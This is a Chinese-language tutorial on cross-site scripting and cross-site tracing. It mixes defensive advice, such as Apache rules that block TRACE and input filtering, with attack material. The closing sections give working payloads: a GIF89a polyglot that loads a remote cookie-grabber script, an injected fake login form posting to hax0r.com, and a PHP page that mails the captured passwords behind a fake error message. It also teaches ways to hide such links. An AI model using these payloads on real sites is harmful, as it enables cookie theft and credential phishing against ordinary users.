跨站攻击即Cross Site Script Execution(通常简写为XSS)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
业界对跨站攻击的定义如下:“跨站攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行。”由于HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码,例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失。如这句简单的Java脚本就能轻易获取用户信息:alert(document.cookie),它会弹出一个包含用户信息的消息框。入侵者运用脚本就能把用户信息发送到他们自己的记录页面中,稍做分析便获取了用户的敏感信息。
跨站攻击有多种方式,典型的方式有两种其一,由于HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失。
其二,XST攻击描述:攻击者将恶意代码嵌入一台已经被控制的主机上的web文件,当访问者浏览时恶意代码在浏览器中执行,然后访问者的cookie、http基本验证以及ntlm验证信息将被发送到已经被控制的主机,同时传送Trace请求给目标主机,导致cookie欺骗或者是中间人攻击。
XST攻击条件:
1、需要目标web服务器允许Trace参数;
2、需要一个用来插入XST代码的地方;
3、目标站点存在跨域漏洞。
XST与XSS的比较相同点:都具有很大的欺骗性,可以对受害主机产生危害,而且这种攻击是多平台多技术的,我们还可以利用Active控件、Flash、Java等来进行XST和XSS攻击。
优点:可以绕过一般的http验证以及NTLM验证
用apache+mysql+php在win2003架设web服务器,扫描服务器:
提示 www (80/tcp)
http TRACE 跨站攻击
你的webserver支持TRACE 和/或 TRACK 方式。 TRACE和TRACK是用来调试web服务器连接的HTTP方式。
支持该方式的服务器存在跨站脚本漏洞,通常在描述各种浏览器缺陷的时候,把"Cross-Site-Tracing"简称为XST。
攻击者可以利用此漏洞欺骗合法用户并得到他们的私人信息。
解决方案: 禁用这些方式。
如果你使用的是Apache, 在各虚拟主机的配置文件里添加如下语句:
RewriteEngine on
RewriteCond % ^(TRACE|TRACK)
RewriteRule .* - [F]
XSS和脚本注射的区别并非任何可利用脚本插入实现攻击的漏洞都被称为XSS,因为还有另一种攻击方式:“Injection”,即脚本注入或者是讲脚本注射,他们之间是有区别的,他们的区别在以下两点:
1、( Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如:sql injection,XPath injection.这个很常见,好象前几个月很多安全网站被黑就是因为脚本里存在注入漏洞,而被一些人利用的。
2、跨站脚本是临时的,执行后就消失了。这个就不同于我们现在讨论的XSS/CSS 了,今天讲的是在页面中插入脚本,这样谁来访问谁的浏览器就执行,如果不被删掉或者是修改编辑的话,就一直存在的。
什么类型的脚本可以被插入远程页面?
主流脚本包括以下几种:
HTML
Java
VB
ActiveX
Flash
如何防范XSS跨站攻击在你的WEB浏览器上禁用java脚本,具体方法,先打开你的IE的internet选项,切换到“安全”页,有个“自定义”级别,点他出现如下窗口,禁用就可以了。但是好象不太可能,因为一旦禁用,很多功能就丧失了,这个方法是下策。
还有不要访问包含〈〉字符的连接,当然一些官方的URL不会包括任何脚本元素。
如果你的站点程序含论坛,留言板,以及其他程序中含提交数据格式的,没有很好过滤机制,请马上下载升级程序或是停止使用ubb这样的功能,避免造成更多的问题。
跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧
【漏洞成因】
原因很简单,就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。
【漏洞形式】
这里所说的形式,实际上是指CGI输入的形式,主要分为两种:
1.显示输入
2.隐式输入
其中显示输入明确要求用户输入数据,而隐式输入则本来并不要求用户输入数据,但是用户却可以通过输入数据来进行干涉。
显示输入又可以分为两种:
1. 输入完成立刻输出结果
2. 输入完成先存储在文本文件或数据库中,然后再输出结果
注意:后者可能会让你的网站面目全非!
而隐式输入除了一些正常的情况外,还可以利用服务器或CGI程序处理错误信息的方式来实施。
【漏洞危害】
大家最关心的大概就要算这个问题了,下面列举的可能并不全面,也不系统,但是我想应该是比较典型的吧。
1. 获取其他用户Cookie中的敏感数据
2. 屏蔽页面特定信息
3. 伪造页面信息
4. 拒绝服务攻击
5. 突破外网内网不同安全设置
6. 与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等
7. 其它
一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞,也就是通过别人的网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。
【隐藏技巧】
出于时间的考虑,我在这里将主要讲一下理论了,相信不是很难懂,如果实在有问题,那么去找本书看吧。
1. URL编码
比较一下:
http://www.5460.net/txl/login/login.pl?username= &passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
你觉得哪个更有隐蔽性?!
2. 隐藏在其它对象之下
与直接给别人一个链接相比,你是否决定把该链接隐藏在按钮以下更好些呢?
3. 嵌入页面中
让别人访问一个地址(注意这里的地址不同于上面提到的URL),是不是又要比让别人按一个按钮容易得多,借助于Iframe,你可以把这种攻击变得更隐蔽。
4. 合理利用事件
合理使用事件,在某些情况上可以绕过CGI程序对输入的限制,比如说前些日子的SecurityFocus的跨站脚本执行漏洞。
【注意事项】
一般情况下直接进行类似alert(document.cookie)之类的攻击没有什么问题,但是有时 CGI程序对用户的输入进行了一些处理,比如说包含在’’或””之内,这时我们就需要使用一些小技巧来绕过这些限制。
如果你对HTML语言比较熟悉的话,绕过这些限制应该不成问题。
【解决方法】
要避免受到跨站脚本执行漏洞的攻击,需要程序员和用户两方面共同努力:
程序员:
1. 过滤或转换用户提交数据中的HTML代码
2. 限制用户提交数据的长度
用户:
1. 不要轻易访问别人给你的链接
2. 禁止浏览器运行JavaScript和ActiveX代码
附:常见浏览器修改设置的位置为:
Internet Explorer:
工具->Internet选项->安全->Internet->自定义级别
工具->Internet选项->安全->Intranet->自定义级别
Opera:>文件->快速参数->允许使用Java
文件->快速参数->允许使用插件
文件->快速参数->允许使用JavaScript
【常见问题】
Q:跨站脚本执行漏洞在哪里存在?
A:只要是CGI程序,只要允许用户输入,就可能存在跨站脚本执行漏洞。
Q:跨站脚本执行漏洞是不是只能偷别人的Cookie?
A:当然不是!HTML代码能做的,跨站脚本执行漏洞基本都能做。
解决 ubuntu server 的跨站攻击
apache 默认开启了TRACE功能(TraceEnable=on),Ubuntu Server也不例外。用x-scan扫描发现此功能存在存在跨站攻击漏洞,并且提出了解决办法,在配置文件中添加如下语句:
RewriteEngine on
RewriteCond % ^(TRACE|TRACK)
RewriteRule .* - [F]
问题是不知道该放那里,找一天都没发现。尝试在/etc/apache2/httpd.conf里添加,怎么都没反应。网上一般就是打开虚拟机的 AllowOverride,然后在.htaccess文件中添加。但整个配置文件都可以修改,没理由要这样做......奇迹就发生在重启的瞬间,竟然连不上服务器。跑到实验室发现,重启正常,无奈之下竟发现还有一个sites-available的目录,里面的default文件才是所谓的配置文件,汗死...
添加后可通过 telnet 127.0.0.1 80 确认是否修复该漏洞,输入:
TRACE / HTTP/1.1
Host: 202.192.33.250
X-Header: test
回车后返回:
HTTP/1.1 403 Forbidden
Date: Sun, 08 Oct 2006 11:32:11 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.2
(注:windows的telnet默认没有打开输入回显)
XSS 上传
兴个例子,我们来新建一个hack.gif文件.然后用记事本打开文件,删除所有的内容,然后写入代码
GIF89a<script>alert("XSS")</script>
保存退出.
上传hack.gif到相就的地方...此时跨站发生
不要用Mozillia Firefox来访问那张图片,Mozillia 不会执行我们的alert.要用Internet explorer.
为什么添加GIF89a ?
因为很多上传程序会来检查我们的gif文件是否包含 'GIF89a',如果包括则认为是gif文件.
code:GIF89a<script src="http://lovelaozang.cn/cookiegrabber.php"></script>
我们需要知道一些其它格式图片,头部所包含的代码.
PNG = ‰PNG
GIF = GIF89a
JPG = ???à JFIF
BMP = BMF?
为了安全不要仅仅只检查getimagesize()
XSS 钓鱼
你是否明白什么是钓鱼?什么是XSS?
在这个例子里,有必需找到一个易受攻击的网站去XSS并注入那里,身于一种形式,以自己直接在网址以下代码
code:
<p>Enter your login and password, thank:</p>
<form action="http://hax0r.com/mail.php">
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value= OK >
</form>
这个通过这个模仿的表单,然后利用mail.php通过电子邮件把表单里的数据发送给你。
code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("email@example.com", "Cookie stealed ! - thx xyli :)", $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>